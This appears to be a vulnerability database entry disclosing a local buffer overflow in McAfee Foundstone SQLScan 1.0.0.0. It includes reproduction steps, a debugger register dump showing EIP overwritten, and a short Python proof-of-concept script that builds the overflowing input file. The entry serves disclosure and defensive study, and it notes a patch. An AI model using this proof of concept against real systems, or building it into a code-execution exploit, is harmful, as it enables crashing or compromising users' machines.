McAfee Foundstone SQLScan - Denial of Service (PoC) and EIP record overwrite

vendor:

Foundstone SQLScan

by:

Rafael Pedrero

7.8

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

119

CWE

Product Name: Foundstone SQLScan

Affected Version From: 1.0.0.0

Affected Version To: 1.0.0.0

Patch Exists: YES

Related CWE: N/A

CPE: a:mcafee:foundstone_sqlscan

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3

2018

McAfee Foundstone SQLScan – Denial of Service (PoC) and EIP record overwrite

A denial of service vulnerability exists in McAfee Foundstone SQLScan due to a buffer overflow when copying content from SQLScan_Crash.txt to the 'Hostname/IP' field. An attacker can exploit this vulnerability by running SQLScan, copying the content from SQLScan_Crash.txt to the 'Hostname/IP' field, and clicking the '->' button, resulting in a crash.

Mitigation:

Upgrade to the latest version of McAfee Foundstone SQLScan.

Source

Exploit-DB raw data:

# Exploit Title: McAfee Foundstone SQLScan - Denial of Service (PoC) and EIP record overwrite
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: http://www.mcafee.com/us/downloads/free-tools/sqlscan.aspx
# Software Link : http://www.mcafee.com/us/downloads/free-tools/sqlscan.aspx
# Tested Version: 1.0.0.0
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run SQLScan
# 2.- copy content SQLScan_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Hostname/IP'
# 4.- Click '->' button and you will see a crash.


'''
EAX 00000001
ECX 0012F8CC
EDX 7C91E4F4 ntdll.KiFastSystemCallRet
EBX 00000000
ESP 0012FA80
EBP 42424242
ESI 00402FEB SQLScan.00402FEB
EDI 0012FAD0
EIP 43434343
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
'''

#!/usr/bin/env python

junk = "\x41" * 384
crash = junk + "BBBB" + "CCCC"
f = open ("SQLScan_Crash.txt", "w")
f.write(crash)
f.close()